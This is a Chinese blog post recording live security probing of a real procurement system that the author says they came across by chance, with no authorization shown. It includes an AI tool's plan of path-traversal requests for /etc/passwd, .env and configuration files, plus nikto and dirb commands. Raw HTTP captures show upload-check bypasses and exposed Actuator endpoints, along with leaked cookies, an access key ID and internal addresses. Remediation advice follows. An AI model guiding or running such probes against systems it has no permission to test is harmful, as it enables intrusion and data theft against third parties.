安全测试怎么入门?

发布时间:
2024-10-23 17:01
阅读量:
16

背景

无意发现国內某政企采购集团系统入口前端,我们今天初步评估Web安全如何。

https://xxxxwww.cn/#/login


我们使用AI工具大模型辅助指导渗透测试

完整的反馈建议

路径探索(Path Traversal)是一种常见的Web应用安全测试技术,主要用于查找应用程序中未公开或未保护的资源。在已知某个基础路径的情况下,可以通过构造特定的请求来探索应用程序的其他路径。以下是具体的步骤和方法: 1. 构造基本请求 首先,构造一个基本的GET请求,用于探索路径: Http 深色版本 GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/ 2. 探索常见路径 接下来,尝试访问一些常见的路径,以了解应用程序的结构: Http 深色版本 GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/v1/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/admin/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/private/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/public/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/docs/ 3. 使用通配符 尝试使用通配符来探索可能存在的路径: Http 深色版本 GET https: //sp.com.xxxx.com.cn/xxxx-spm-contract-center/api/* 4. 尝试目录遍历 构造路径遍历请求,尝试访问应用程序的其他目录: Http 深色版本 GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/../../../../etc/passwd GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/../../../../var/log/apache2/access.log GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/../../../../var/log/nginx/access.log 5. 使用相对路径 尝试使用相对路径来探索其他资源: Http 深色版本 GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/../../admin/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/../../private/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/../../conf/application.properties 6. 测试隐藏文件 尝试访问隐藏文件: Http 深色版本 GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/.htaccess GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/.env GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/.gitignore 7. 测试文件上传目录 如果应用程序有文件上传功能,尝试访问上传目录: Http 深色版本 GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/uploads/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/images/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/data/ 8. 测试其他敏感路径 尝试访问其他可能存在的敏感路径: Http 深色版本 GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/logs/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/dbconfig/ GET https: //zzwwxxx.com/xxxx-spm-contract-center/api/system/ 9. 使用自动化工具 可以使用自动化工具如Burp Suite、Nikto或DirBuster来辅助进行路径探索: Shell 深色版本 nikto -h zzwwxxx.com -p 443 -C all dirb https://zzwwxxx.com/xxxx-spm-contract-center/api/ 10. 记录结果 记录每次请求的响应状态码(如200、404等),并分析响应内容,查看是否有意外暴露的信息或新的路径。 注意事项 合法授权:确保所有测试都在合法授权范围内进行。 最小影响:尽量减少对生产环境的影响,避免业务中断。 记录与报告:记录每一步测试的结果和发现的问题,编写渗透测试报告,汇总发现的所有漏洞,并提出改进建议。 通过上述测试,可以发现应用程序中存在的潜在安全漏洞,帮助提升系统的安全性。

与AI交互,辅助提供一些渗透的关注点与思路







进一步跟进

安全漏洞检测过程

一. 匿名上传图片安全漏洞

发现图床,详情请求HTTP RAW

POST /zzwwxx-spm-contract-center/api/v1/aliyunOss/files/oosFileUpload HTTP/1.1 Connection: keep-alive Content-Length: 71392 sec-ch-ua: "Not_A Brand";v="99", "Google Chrome";v="109", "Chromium";v="109" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGJ2xAS9diAdgIvAF Accept: */* Origin: https://xxxxwww.cn Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: tfstk=f2fxdBMXXuq0Iz3-eAwksMxCdEauE1Qqei7IshxmCgIRmN5DCoRc65Q2qsxcoNtOB31OisADoOL6V_tcmtbiuTShRjf03Cc9gCR_xkV3tq72_C1qyJZIuQTH5FNMljTWrqOlgkV3tZwXuCb7xPyPogtp5CTX1ft7ye891FT1f39WRemX1GO_yLT6RxijGxT7NExWfCO1faT8hlKSlhcOCRvlwpEdmfG1G5Jvvx-WzU1JkKKBn3h15_LvHH_fghLOuU1lwpvoSzO58TjXyBFohB_RCMBCbJDyMN6fJQC7AvxGSn9dGLF-MH1VP6RWEWadP_Scu_Qi55Tlx3_VGCFQ8IdXcQLPsulXXT61iKRZckvV5TIJkBsPj6fKT1nHvFDbyzHZQKTyiwFvtBgJfWTJxrFtQAJzzUK3yzHZQKTyyH4YJAkwUz5..; acw_tc=0bdd26d217260257890752116ee7d5e70ec8b8d275b50b76b567ce83702f1c ------WebKitFormBoundaryGJ2xAS9diAdgIvAF Content-Disposition: form-data; name="file"; filename="ningmeng0.png" Content-Type: image/png HTTP/1.1 200 Date: Wed, 11 Sep 2024 03:37:15 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: https://xxxxwww.cn Access-Control-Expose-Headers: Header1, Header2 Access-Control-Allow-Credentials: true Content-Length: 599 {"payload":[{"id":null,"contractId":null,"name":"ningmeng0.png","contentType":"image/png","size":71206,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/6d2de3c2-0746-4ee0-9059-ea9d70668829.png","remark":null,"createdTime":"2024-09-11 11:37:15","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/6d2de3c2-0746-4ee0-9059-ea9d70668829.png?Expires=4879625835&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=kk4WjhRIpYE1RZmZzq5Eyg8ZXrc%3D"}],"code":"0","msg":"ok","traceId":"6fb91d3cdbf14b669e4fae129b367431.95.17260258356632161"}

可以直接下载https://xxxxwww.cn.aliyuncs.com/prd/spm/6d2de3c2-0746-4ee0-9059-ea9d70668829.png

<Error> <Code>AccessDenied</Code> <Message>The bucket you access does not belong to you.</Message> <RequestId>66ED28FE874A1E36350870B5</RequestId> <HostId>xxxxwww.cn.aliyuncs.com</HostId> <EC>0003-00000905</EC>

通过上信息分析

1. 基于阿里云OSS存储上传文件与图片

图床可能的安全漏洞

敏感信息泄露:

图床在处理图片上传时,如果未对图片中的EXIF(Exchangeable Image File Format)信息或其他元数据进行处理,可能会泄露拍摄设备、位置等敏感信息。此外,如果图床系统存在配置不当或漏洞,攻击者可能通过上传包含恶意代码的图片来利用这些漏洞,进而获取更多敏感信息或执行未授权操作。

跨站脚本攻击(XSS):

如果图床系统未对上传的图片内容或链接进行充分过滤和验证,攻击者可能通过上传包含恶意脚本的图片或链接,在用户浏览图片时触发XSS攻击,从而窃取用户信息、会话令牌等敏感数据。

文件上传漏洞:

图床的核心功能之一是处理图片上传,如果上传功能存在漏洞,如未对文件类型、大小、内容等进行严格限制和验证,攻击者可能上传恶意文件(如Webshell、病毒等),进而控制服务器或执行其他恶意操作。

对标OWASP Top 10 2023,我们可以从以下几个方面来分析可能存在的漏洞:

1. 敏感信息泄露(A3: Sensitive Data Exposure)

问题描述:图床在处理图片上传时,如果未对图片中的EXIF信息或其他元数据进行处理,可能会泄露拍摄设备、位置等敏感信息。此外,如果图床系统存在配置不当或漏洞,攻击者可能通过上传包含恶意代码的图片来利用这些漏洞,进而获取更多敏感信息。

对应OWASP Top 10 2023:这一漏洞直接对应于OWASP Top 10 2023中的A3(敏感数据泄露)。敏感数据泄露是Web应用程序中常见的安全风险之一,它可能导致个人隐私泄露、商业机密被窃取等严重后果。

2. 跨站脚本攻击(XSS)(A7: Cross-Site Scripting (XSS))

问题描述:如果图床系统未对上传的图片内容或链接进行充分过滤和验证,攻击者可能通过上传包含恶意脚本的图片或链接,在用户浏览图片时触发XSS攻击。XSS攻击允许攻击者在用户浏览器中执行恶意脚本,从而窃取用户信息、会话令牌等敏感数据。

对应OWASP Top 10 2023:这一漏洞直接对应于OWASP Top 10 2023中的A7(跨站脚本)。XSS是一种常见的Web安全漏洞,它利用Web应用程序对用户输入数据的不当处理,使得攻击者能够在用户浏览器中执行恶意脚本。

3. 文件上传漏洞(可能涉及A8: Insecure Deserialization 或 A9: Using Components with Known Vulnerabilities)

问题描述:图床的核心功能之一是处理图片上传,如果上传功能存在漏洞,如未对文件类型、大小、内容等进行严格限制和验证,攻击者可能上传恶意文件(如Webshell、病毒等),进而控制服务器或执行其他恶意操作。虽然文件上传漏洞本身没有直接对应的OWASP Top 10 2023项,但它可以视为一种特殊的输入验证问题,也可能由于使用了含有已知漏洞的组件(如文件处理库)而导致。

对应OWASP Top 10 2023:文件上传漏洞可能间接对应于A8(不安全的反序列化)或A9(使用含有已知漏洞的组件)。然而,更直接地,它可能被视为一种未受保护的输入验证问题,其严重性足以引起高度重视。在OWASP Top 10 2023中,虽然没有直接列出文件上传漏洞作为单独的项,但强调了输入验证和使用安全组件的重要性,这些都是防止文件上传漏洞的关键措施。

4. 访问控制不当(可能涉及A5: Broken Access Control)

问题描述:如果图床系统的访问控制机制存在漏洞,如权限设置不当、认证机制不完善等,攻击者可能绕过正常的访问控制流程,访问或修改未授权的资源。

对应OWASP Top 10 2023:这一漏洞可能间接对应于OWASP Top 10 2023中的A5(失效的访问控制)。失效的访问控制是Web应用程序中常见的安全风险之一,它可能导致未授权用户访问敏感数据或执行敏感操作。在图床系统中,如果访问控制不当,攻击者可能利用这一漏洞获取敏感信息或执行恶意操作。

二. 扫描服务器基础信息与服务端信息泄露

https://xxxxwww.cn/zzwwxx-spm-contract-center/api

POST https://xxxxwww.cn/zzwwxx-spm-contract-center/api/v1/aliyunOss/files/oosFileUpload HTTP/1.1 Host: xxxxwww.cn Content-Length: 0 Accept: application/json X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 HTTP/1.1 200 Date: Fri, 20 Sep 2024 07:27:35 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Set-Cookie: acw_tc=0b3c7d9e17268172556646552e5e60097bf76eab64bbf15f31c8235bc25184;path=/;HttpOnly;Max-Age=1800 Content-Length: 306 {"payload":null,"code":"500","msg":"Current request is not of type [org.springframework.web.multipart.MultipartHttpServletRequest]: ServletWebRequest: uri=/zzwwxx-spm-contract-center/api/v1/aliyunOss/files/oosFileUpload;client=172.17.3.108","traceId":"673122c0467f45df90a059355f0662e0.90.17268172556794041"}


分析 后端基于SpringBoot技术研发

为了进一步进行渗透测试,可以考虑以下几个方向:

l 测试不同的上传数据:尝试发送一个包含文件的正确格式的multipart/form-data请求。可以使用工具如curl或者Postman来构造请求,并观察服务器的响应。

l 文件扩展名检查绕过:尝试上传不同类型的文件,尤其是那些可能绕过服务器端文件扩展名检查的文件(例如,将恶意脚本伪装成图片文件)。

l 上传目录遍历攻击:构造请求,尝试利用路径遍历漏洞来上传到非预期的位置。

l 权限检查绕过:如果应用有权限检查机制,尝试寻找绕过这些检查的方法。

l 文件大小限制:尝试上传过大或过小的文件,以检查服务器是否对文件大小有限制,并观察其反应。

l 输入验证与SQL注入:尽管这是一个文件上传接口,但仍需检查是否有SQL注入或其他输入验证绕过的可能性。

三. 存在文件内容上传安全漏洞

MIME类型检查绕过:更改上传文件的MIME类型,能绕过服务器的安全检查

HTTP/1.1 200 Date: Fri, 20 Sep 2024 07:36:03 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Set-Cookie: acw_tc=0b3c7d9e17268177636665625e5f024f4f1db46c691e6462fb6c832c61376c;path=/;HttpOnly;Max-Age=1800 Content-Length: 594 {"payload":[{"id":null,"contractId":null,"name":"aaa.jpg","contentType":"image/jpeg","size":68096,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/cd00296c-ac86-4282-b303-623f040de6f5.jpg","remark":null,"createdTime":"2024-09-20 15:36:03","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/cd00296c-ac86-4282-b303-623f040de6f5.jpg?Expires=4880417763&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=mL2xPiAJmvlm0C6mcByEiqpm4PM%3D"}],"code":"0","msg":"ok","traceId":"b5e3cdbdff2041958c017b1b0be78aa7.94.17268177638354237"}

我们下载这个图片重名为exe

四. 文件上传接口没有文件体积参数校验

50MB图片上传成功

HTTP/1.1 200 Date: Fri, 20 Sep 2024 07:42:34 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Set-Cookie: acw_tc=0b3c7d9e17268181389512049e5ec13f65cd42244929376e85551cc52a593e;path=/;HttpOnly;Max-Age=1800 Content-Length: 602 {"payload":[{"id":null,"contractId":null,"name":"wind.jpg","contentType":"image/jpeg","size":57357160,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/c2fac335-c453-49de-931f-e3c4baf26555.jpg","remark":null,"createdTime":"2024-09-20 15:42:34","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/c2fac335-c453-49de-931f-e3c4baf26555.jpg?Expires=4880418154&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=de0L1Fxuk%2BiSeYjxcpjwaJspc%2Bo%3D"}],"code":"0","msg":"ok","traceId":"b5e3cdbdff2041958c017b1b0be78aa7.93.17268181532084315"}

PDF文件可以上传成功

HTTP/1.1 200 Date: Fri, 20 Sep 2024 07:47:30 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Set-Cookie: acw_tc=0b3c7d9e17268184502772587e5dccadfe5242e52f79d101ba7457b23b9397;path=/;HttpOnly;Max-Age=1800 Content-Length: 681 {"payload":[{"id":null,"contractId":null,"name":"2024-2030年中国鲜花电商行业市场深度分析及发展趋势预测报告.pdf","contentType":"application/pdf","size":20973,"url":"https://xxxxwww.cn.aliyuncs.com/prd/spm/a8d8a09e-76e2-4b74-a0f5-52ed1e7bfe9f.pdf","remark":null,"createdTime":"2024-09-20 15:47:30","updatedTime":null,"createdBy":null,"updatedBy":null,"previewUrl":"https://xxxxwww.cn.aliyuncs.com/prd/spm/a8d8a09e-76e2-4b74-a0f5-52ed1e7bfe9f.pdf?Expires=4880418450&OSSAccessKeyId=LTAI4FmLxLPaXzVToEtEPiiM&Signature=8TR0I%2BoscvZ%2FptWyV1mfIjKyszs%3D"}],"code":"0","msg":"ok","traceId":"b5e3cdbdff2041958c017b1b0be78aa7.96.17268184504034339"}


直接上传HTML被拒绝,感觉是阿里云OSS自己安全机制,重命名为jpg也拒绝

HTTP/1.1 405 Not Allowed Server: Tengine Date: Fri, 20 Sep 2024 08:01:01 GMT Content-Type: text/html; charset=utf-8 Connection: keep-alive Set-Cookie: acw_tc=0b3c7d9e17268192613863005e5dd19f5750d6d602d7e66aed9ce9d4fd9992;path=/;HttpOnly;Max-Age=1800 Cache-Control: no-cache, no-store Pragma: no-cache Punish-Loc: keepper Punish-Cache: hit Content-Length: 3524 <!doctypehtml><html lang="zh-cn"><meta charset="utf-8"><meta http-equiv="X-UA-Compatible"content="IE=edge,chrome=1"><meta name="data-spm"content="a3c0e"><title>405</title><style>a,body,div,h2,html,p{margin:0;padding:0}a{text-decoration:none;color:#3b6ea3}.container{width:1000px;margin:auto;color:#696969}.header{padding:110px 0}.header .message{height:36px;padding-left:120px;background:url(https://errors.aliyun.com/images/TB1TpamHpXXXXaJXXXXeB7nYVXX-104-162.png) no-repeat 0 -128px;line-height:36px}.main{padding:50px 0;background:#f4f5f7}#block_image{position:relative;left:120px}.footer{margin-top:30px;text-align:right}.footer a{padding:8px 30px;border-radius:10px;border:1px solid #4babec}.footer a:hover{opacity:.8}.alert-shadow{display:none;position:absolute;top:0;left:0;width:100%;height:100%;background:#999;opacity:.5}.alert{display:none;position:absolute;top:200px;left:50%;width:600px;margin-left:-300px;padding-bottom:25px;border:1px solid #ddd;box-shadow:0 2px 2px 1px rgba(0,0,0,.1);background:#fff;font-size:14px;color:#696969}.alert h2{margin:0 2px;padding:10px 15px 5px 15px;font-size:14px;font-weight:400;border-bottom:1px solid #ddd}.alert a{display:block;position:absolute;right:10px;top:8px;width:30px;height:20px;text-align:center}.alert p{padding:20px 15px}</style><body data-spm="7663354"><div data-spm="1998410538"><div class="header"><div class="container"><div class="message"><div id="block_message"></div><div><span id="block_url_tips"></span><strong id="url"></strong></div><div><span id="block_time_tips"></span><strong id="time"></strong></div><div><span id="block_traceid_tips"></span><strong id="traceid"></strong></div></div></div></div><div class="main"><div class="container"><img id="block_image"></div></div><div class="footer"><div class="container"><a target="_blank"id="report"href="javascript:;"data-spm-click="gostr=/waf.123.123;locaid=d001;"style="display:none">误报反馈</a></div></div></div><script>function getRenderData(){var e=document.getElementById("renderData");return JSON.parse(e.innerHTML)}function convertTimestampToString(e){e=parseInt(e,10),e=new Date(e);return e.getFullYear()+"-"+("0"+(e.getMonth()+1)).slice(-2)+"-"+("0"+e.getDate()).slice(-2)+" "+("0"+e.getHours()).slice(-2)+":"+("0"+e.getMinutes()).slice(-2)+":"+("0"+e.getSeconds()).slice(-2)}var en_tips={block_message:"Sorry, your request has been blocked as it may cause potential threats to the server's security.",block_url_tips:"Current URL: ",block_time_tips:"Request Time: ",block_traceid_tips:"Your Request ID is: "},cn_tips={block_message:"很抱歉,由于您访问的URL有可能对网站造成安全威胁,您的访问被阻断。",block_url_tips:"当前网址: ",block_time_tips:"请求时间: ",block_traceid_tips:"您的请求ID是: "};window.onload=function(){var e=getRenderData();if(e){var t,n=cn_tips,i=document.getElementById("block_image");for(t in"en"===e.lang?(n=en_tips,i.src="https://g.alicdn.com/sd-base/static/1.0.5/image/405.png",i.id="en_block"):(i.src="https://errors.aliyun.com/images/TB15QGaHpXXXXXOaXXXXia39XXX-660-117.png",document.getElementById("report").style.display="inline"),n)document.getElementById(t).innerText=n[t];i=e.traceid,e=i.slice(8,21);document.getElementById("traceid").innerText=i,document.getElementById("url").innerText=location.href.split("?")[0],document.getElementById("time").innerText=convertTimestampToString(e)}}</script><textarea id="renderData" style="display:none">{"traceid":"0b3c7d9e17268192613863005e5dd1","lang":"cn"}</textarea>

五. 发现Spring Boot Actuator暴露端点

1. 健康检查端点:访问/actuator/health检查是否暴露了过多的信息。

https://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health {"status":"UP","details":{"diskSpace":{"status":"UP","details":{"total":63274295296,"free":22922428416,"threshold":10485760}},"db":{"status":"UP","details":{"database":"MySQL","hello":1}},"mail":{"status":"UP","details":{"location":"smtp.exmail.qq.com:25"}},"refreshScope":{"status":"UP"},"discoveryComposite":{"status":"UP","details":{"discoveryClient":{"status":"UP","details":{"services":["zzwwxx-spm-staff-center","zzwwxx-spm-contract-center","zzwwxx-spm-servicer-center"]}},"eureka":{"description":"Remote status from Eureka server","status":"UP","details":{"applications":{"ZZWWXX-SPM-STAFF-CENTER":2,"ZZWWXX-SPM-CONTRACT-CENTER":2,"ZZWWXX-SPM-SERVICER-CENTER":2}}}}},"hystrix":{"status":"UP"},"redis":{"status":"UP","details":{"version":"5.0.5"}}}}


https://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/ {"_links":{"self":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator","templated":false},"health":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health","templated":false},"health-component":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health/{component}","templated":true},"health-component-instance":{"href":"http://xxxxwww.cn/zzwwxx-spm-contract-center/actuator/health/{component}/{instance}","templated":true}}}


暴露的信息

数据库信息

l 数据库类型:MySQL l 连接状态:UP l 潜在风险:确认数据库连接字符串是否暴露,测试是否存在SQL注入漏洞。 l 进一步测试:尝试访问数据库,获取表结构和数据。 磁盘空间 l 总磁盘空间:63GB l 可用空间:40GB l 潜在风险:如果磁盘空间不足,可能会导致应用性能下降。 l 进一步测试:尝试上传大文件,测试磁盘使用情况。 Redis信息 l Redis版本:5.0.5 l 潜在风险:确认Redis是否需要认证,测试是否存在未授权访问风险。 l 进一步测试:尝试连接Redis实例,查看是否可以读写数据。 服务发现信息 l 注册的服务:zzwwxx-spm-staff-center, zzwwxx-spm-contract-center, zzwwxx-spm-servicer-center l 潜在风险:确认服务发现机制是否安全,测试是否存在横向移动的可能性。 l 进一步测试:尝试访问其他服务的端点,查看是否存在未授权访问风险。 邮件服务信息 l 邮件服务器地址:smtp.exmail.qq.com:25 l 潜在风险:确认邮件服务器是否需要认证,测试是否存在未授权发送邮件的风险。

六. WEB安全基线扫描

Web安全基线扫描是指对Web应用程序及其相关基础设施进行全面的安全检查,以确保它们符合一定的安全标准或最佳实践。这种扫描旨在识别和修复潜在的安全漏洞,从而降低被攻击的风险。以下是具体的步骤和方法来描述Web安全基线扫描的过程:

1. 确定扫描范围

  • 定义目标:确定要扫描的Web应用程序及其相关组件(如数据库、文件系统等)。
  • 收集信息:包括应用程序的URL、IP地址、端口号以及任何相关的登录凭证。

2. 使用自动化工具

  • 选择合适的工具:常用的Web安全扫描工具有AppScan,OWASP ZAP、Burp Suite、Nikto、Acunetix等。
  • 配置工具:设置扫描参数,如扫描深度、速度、是否进行登录等。
  • 执行扫描:启动扫描工具,开始自动扫描。

3. 手动测试

  • 登录测试:测试登录页面是否存在漏洞,如弱密码、验证码绕过等。
  • 输入验证:测试输入框是否存在SQL注入、XSS、CSRF等漏洞。
  • 文件上传:测试文件上传功能是否存在漏洞,如上传恶意文件、文件名绕过等。
  • 会话管理:测试会话管理机制是否安全,如Session固定、会话超时等。
  • 敏感信息泄露:检查是否存在泄露敏感信息的情况,如数据库配置、API密钥等。
  • 权限测试:测试权限管理机制是否严格,是否存在越权访问漏洞。

4. 检查配置和环境

  • 安全配置:检查应用程序的安全配置,如SSL/TLS证书配置、HTTP响应头(如CSP、HSTS等)。
  • 环境配置:检查服务器环境配置,如操作系统补丁更新、防火墙规则等。
  • 日志管理:检查日志记录是否完整,能否用于追踪安全事件。

5. 分析扫描结果

  • 整理报告:整理扫描工具输出的报告,提取关键信息。
  • 人工复核:对自动扫描结果进行人工复核,排除误报。
  • 优先级排序:根据漏洞的危害程度对漏洞进行优先级排序。

6. 修复漏洞

  • 制定修复计划:根据漏洞的严重性和优先级制定修复计划。
  • 实施修复:按照计划修复漏洞,确保每个漏洞都得到妥善处理。
  • 验证修复:修复完成后,再次进行扫描验证漏洞是否已经被有效修复。

7. 文档记录

  • 编写报告:编写详细的渗透测试报告,记录测试过程、发现的问题及修复方案。
  • 持续监控:建立持续监控机制,定期进行安全基线扫描,确保系统的安全性。

8. 教育培训

  • 安全意识培训:定期对开发人员和运维人员进行安全意识培训,增强他们的安全意识。
  • 最佳实践分享:分享安全最佳实践,鼓励团队成员学习和应用安全知识。

注意事项

动态应用程序安全测试 (DAST) 是在运行时分析 Web 应用程序以识别安全漏洞或缺陷的过程。
我们初步使用HLC AppScan扫描发现的漏洞

安全问题的具体分析和处理建议

根据《网络安全等级保护标准》第三级的要求,我们需要对不同类型的漏洞进行详细的评估和处理。以下是针对所提到的安全问题的具体分析和处理建议: 1. 匿名上传图片安全漏洞 评估 匿名上传:允许任何人上传图片,增加了恶意内容上传的风险。未验证上传内容:上传的图片可能包含恶意代码、木马、病毒等。缺乏访问控制:上传的图片可能被未授权用户访问或传播。 处理建议 身份验证:要求用户在上传图片前进行身份验证。实施OAuth、JWT等认证机制。 上传内容验证: 使用图像处理库检查上传的图片是否含有恶意内容。进行文件扩展名和MIME类型检查,确保上传的是合法的图片文件。 访问控制: 对上传的图片设置访问控制权限,仅允许授权用户访问。使用CDN服务对图片进行访问控制。 日志记录与监控: 记录所有上传图片的操作日志,并定期审查。设置监控机制,检测异常上传行为。 2. 扫描服务器基础信息与服务端信息泄露 评估 基础信息泄露:如操作系统版本、中间件版本等信息可能被攻击者利用进行进一步攻击。 服务端信息泄露:如数据库版本、应用框架版本等信息也可能被攻击者利用。 处理建议 隐藏敏感信息: 修改HTTP响应头,移除Server字段。使用自定义的错误页面,避免暴露应用框架或中间件的具体版本号。 强化配置: 关闭不必要的服务和端口。配置防火墙规则,限制对敏感端口和服务的访问。 定期扫描与加固: 使用自动化工具(如Nessus、OpenVAS等)定期扫描服务器。根据扫描结果加固服务器配置。 日志记录与监控: 记录服务器访问日志,并定期审查。设置入侵检测系统(IDS)或入侵预防系统(IPS)监控异常行为。 3. 存在文件内容上传漏洞 评估 上传文件内容:上传的文件可能包含恶意代码或脚本。未验证上传文件:上传的文件未经验证即被保存和使用。 处理建议 上传文件验证: 检查上传文件的扩展名是否合法。使用文件签名或MD5/SHA1校验上传文件的完整性。确认上传文件的内容是否包含恶意代码。 限制上传目录: 将上传文件保存在一个专门的目录中,并限制对该目录的访问权限。禁止上传文件直接执行。 文件访问控制: 对上传文件设置访问控制,仅允许授权用户访问。使用CDN服务对文件进行访问控制。 日志记录与监控: 记录所有上传文件的操作日志,并定期审查。设置监控机制,检测异常上传行为。 4. 文件上传接口没有文件体积参数校验 评估 文件体积过大:可能导致服务器磁盘空间耗尽或消耗过多资源。拒绝服务攻击(DoS):攻击者可能通过上传大文件发起DoS攻击。 处理建议 设置文件大小限制: 在客户端限制上传文件的最大大小。 在服务器端进行文件大小检查,超出限制则拒绝上传。 日志记录与监控: 记录所有上传文件的操作日志,并定期审查。设置监控机制,检测异常上传行为。 5. 发现Spring Boot Actuator暴露端点 评估 暴露端点:如/actuator/health, /actuator/env, /actuator/mappings等暴露了敏感的应用程序信息。 潜在风险:攻击者可能利用这些端点获取应用程序的详细信息,进而发动攻击。 处理建议 关闭不必要的端点: 修改application.properties或application.yml文件,关闭不必要的端点。 `properties management.endpoints.web.exposure.include=health management.endpoints.web.exposure.exclude=env,mappings,metrics ` 身份验证与授权: 对所有暴露的端点实施身份验证。 使用Spring Security或其他安全框架保护端点。 强化配置: 确保所有暴露端点只允许内部网络访问。 使用HTTPS加密通信。 日志记录与监控: 记录所有访问暴露端点的操作日志,并定期审查。 设置监控机制,检测异常访问行为。 通过上述评估和处理建议,可以有效地解决上述提到的安全问题,确保系统的安全性。需要注意的是,在实际操作中,应结合具体情况调整和优化上述建议,确保系统的整体安全性达到等级保护三级的要求。此外,还需要定期进行安全审计和评估,确保系统的安全防护措施始终处于最新和最有效的状态。

登录接口

POST https://xxxxwww.cn/zzwwxx-spm-staff-center/api/v1/login/loginByCode?_=1726879777605 HTTP/1.1 Host: xxxxwww.cn Connection: keep-alive Content-Length: 47 sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Google Chrome";v="128" Accept: application/json, text/plain, */* sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Content-Type: application/json Origin: https://xxxxwww.cn Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://xxxxwww.cn/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: acw_tc=0bca392617268794835698364e2d348f7087de6d5666f0c7a397b6ad6e4b9f {"userCode":"adfas2","password":"MjM0MjQzMg=="} HTTP/1.1 200 Date: Sat, 21 Sep 2024 00:49:37 GMT Content-Type: application/json;charset=UTF-8 Connection: keep-alive Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: https://xxxxwww.cn Access-Control-Allow-Credentials: true Content-Length: 146 {"payload":null,"code":"100002","msg":"用户名或密码不正确,请检查","traceId":"43f1a5334faa44d9a0255feae1462e63.67.17268797778538071"}

AI辅助分析请求响应报文与安全建议



信息泄露

端口暴露https://xxxxwww.cn/zzwwxx-spm-staff-center/actuator/health

通过逆向前端JS中,可以看到一些HTTP接口

https://xxxxwww.cn/guoke-deepexi-m-door-pc/9864717.js var r = "/guoke-deepexi-staff-center/api/v1" , o = r + "/staff/login/sendRegistVerificationCode" , c = r + "/staff/login/loginByCode" , l = r + "/staff/login/loginByPhone" , f = r + "/common/login/getCurrentApps" , d = r + "/staff/UcMerchantUser/updateUserPassword" , m = r + "/common/login/chooseApps" , h = r + "/staff/app/pageList" , y = r + "/staff/app/save" , v = r + "/staff/app/deleteById" , x = r + "/staff/appResource/getAppResourceTree" , w = r + "/staff/appResource/save" , O = r + "/staff/appResource/update" , j = r + "/staff/UcAppGroup/getAll" , _ = r + "/staff/appResource/deleteById" , C = r + "/staff/appResource/sort" , P = r + "/staff/app/update" , k = r + "/staff/UcMerchantUser/getById" , $ = r + "/staff/UcMerchantUser/update" , S = r + "/staff/login/sendVerificationCode" , R = r + "/staff/appResource/addRelationCompany" , A = r + "/staff/appResource/deleteAllRelationCompanyByAppResourceIdList" , E = r + "/staff/appResource/getCompanyByCompanyName" , T = r + "/staff/appResource/deleteRelationCompanyByAppResourceIdListAndCompanyId" , I = r + "/staff/app/getAppResourceByAppId" , L = r + "/staff/appResource/getCompanyByAppResourceId" , U = r + "/staff/UcAppGroup/getAll" , M = r + "/merchant/role/getMerchantRolePageList" , D = r + 